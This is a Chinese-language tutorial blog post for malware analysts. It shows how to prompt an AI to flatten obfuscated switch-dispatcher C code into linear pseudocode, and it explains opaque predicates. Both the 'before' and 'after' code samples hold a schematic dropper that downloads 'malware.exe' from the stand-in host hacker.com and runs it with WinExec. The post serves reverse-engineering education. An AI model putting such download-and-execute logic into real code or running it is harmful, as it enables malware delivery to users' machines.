[实践] 用AI将像卷曲拉面一样的“意大利面条代码”捋直,使其变为线性代码!🍜 (控制流去混淆)

各位坚持不懈的安全研究员们,大家好!🕵️‍♂️

在分析恶意软件时,有时会遇到极其复杂的代码,让人不禁想:“写这段代码的人性格得多扭曲啊?”

代码不是从上到下按顺序执行,而是滥用GOTO语句,跳来跳去……就像缠绕的耳机线或一团拉面一样。🧶

我们称之为“意大利面条代码(Spaghetti Code)”,或专业术语“控制流平坦化(Control Flow Flattening)”的代码。

人类大脑喜欢线性(Linear)流程,但计算机喜欢跳转(Jump)。攻击者利用这一点来折磨分析师。

今天,我们将进行一次控制流去混淆(Deobfuscation)实践,让我们的AI助手“解开这团乱麻,按顺序整理好!” 🛠️


1. 什么是控制流平坦化(Control Flow Flattening)? 🤔

正常的程序通常按 [ A → B → C ] 的顺序执行。

但混淆工具会将其拆分成碎片,然后放入一个巨大的Switch语句中,打乱执行顺序。

  • 正常: 执行A,然后B,然后C。
  • 混淆:
  1. 设置状态变量 state = 1
  2. 开始while循环
  3. 如果state为1,执行A并将state改为3。
  4. 如果state为2,执行C并退出。
  5. 如果state为3,执行B并将state改为2。

最终执行顺序是A → B → C,但肉眼看代码时,它在1 → 3 → 2之间来回跳转,让人完全摸不着头脑。😵‍💫


2. [实践] 准备缠绕的代码 (Before) 🌪️

好了,这里有一段在实际恶意软件中常见的“Switch Dispatcher”模式代码。试着用眼睛跟着它走一遍。(你可能会感到头晕。)

C

// 🤮 混淆的意大利面条代码
void MaliciousFunction() {
    int state = 10; // 初始状态
    char* url = "";
    char* file = "";

    while (state != 99) { // 看起来像无限循环
        switch(state) {
            case 20:
                // 执行文件
                WinExec(file, 1);
                state = 99; // 更改为退出状态
                break;
            case 10:
                // 设置URL
                url = "http://hacker.com/malware.exe";
                state = 30; // 下一步去哪?
                break;
            case 40:
                // 保存文件
                WriteFile(file, downloaded_data);
                state = 20; // 下一步去哪?
                break;
            case 30:
                // 尝试下载
                file = "C:\Temp\malware.exe";
                Download(url, file);
                if (CheckFileExists(file)) {
                    state = 40; // 成功则转到40
                } else {
                    state = 99; // 失败则退出
                }
                break;
        }
    }
}

要分析这段代码,你需要先看case 10,然后state变成30,于是你向下寻找case 30,接着又向上寻找case 40…… 🎢 眼睛都转晕了。


3. 请求AI进行“线性代码(Linear Code)”转换 🗣️

现在,让我们请求AI按照“逻辑执行顺序”重新排列这段代码。这里重要的是明确指出“追踪状态变量(state)的流向”

📝 提示 (Prompt)

[角色] 你是逆向工程专家。

>

[情况] 当前正在分析的C代码使用了“Control Flow Flattening(控制流平坦化)”技术进行混淆。它使用while循环和switch语句打乱了执行流。

>

[请求事项]

>

1. 追踪state变量的值变化,以了解代码实际的执行顺序

2. 移除复杂的while-switch结构,并将其转换为从上到下流动的线性(Linear)形式的伪代码(Pseudocode)

3. 不要使用goto语句,只用if-else和函数调用来整洁地组织。

>

[代码]

>

(粘贴上述混淆代码)


4. [结果] 检查捋直的代码 (After) ✨

AI追踪了state变量,并按顺序重新组合了打乱的片段。我们来看看结果?

C

// 😍 AI整理的线性代码 (去混淆)

void MaliciousFunction_Cleaned() {
    // 1. [状态 10] 初始设置
    char* url = "http://hacker.com/malware.exe";

    // 2. [状态 30] 下载并设置文件路径
    char* file = "C:\Temp\malware.exe";
    Download(url, file);

    // 3. [状态 30 的分支] 检查下载是否成功
    if (CheckFileExists(file)) {
        // 4. [状态 40] 保存文件 (成功时)
        WriteFile(file, downloaded_data);

        // 5. [状态 20] 执行文件
        WinExec(file, 1);
    } else {
        // [状态 99] 失败时退出
        return;
    }

    // [状态 99] 正常退出
    return;
}

🔍 有哪些改进?

  1. 可读性提升100倍: while和switch消失了,代码从上到下阅读起来如行云流水。
  2. 流程理解:
    • 设置URL (状态 10)
    • 下载 (状态 30)
    • 如果成功?保存 (状态 40) 并执行 (状态 20)
    • 如果失败?退出 (状态 99)
    1. 识别恶意行为: 现在,我们终于可以一目了然地理解:“啊,这是一个下载并执行文件的投递器(Dropper)!”

    5. 实践小贴士及注意事项 🍯

    • 寻找状态变量: 在这种混淆模式中,最重要的是找到充当“红绿灯”作用的变量(state, v1, flag等)。告诉AI“这个变量是红绿灯”,它会更好地解决问题。
    • 复杂时分块处理: 有时case数量会超过100个。这时不要一次性全部输入,而是通过之前学过的“分块处理”方法,例如“请整理case 1-10的流程”,“请整理case 11-20的流程”这样分步进行。
    • Opaque Predicate (不透明谓词): 有时会混入像 if (3 * 3 == 9) 这样总是为真但假装是条件语句的代码。请额外请求AI“也移除总是为真/假的虚假条件语句”

    🎉 总结

    今天,我们借助AI的力量,将像意大利面条一样缠绕的代码,像用筷子挑起拉面一样捋直了。🍜

    这项技术不仅对恶意软件分析有用,对于分析他人编写的晦涩难懂的遗留代码也大有裨益。

    现在,当你遇到复杂的switch语句时,不要害怕,只需大喊一声:“AI,帮我把这个排好队!”

    下一次,我们将综合运用迄今为止学到的静态分析(Static Analysis)内容,展示AI自行编写分析报告的魔力。敬请期待!👋



Comments

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注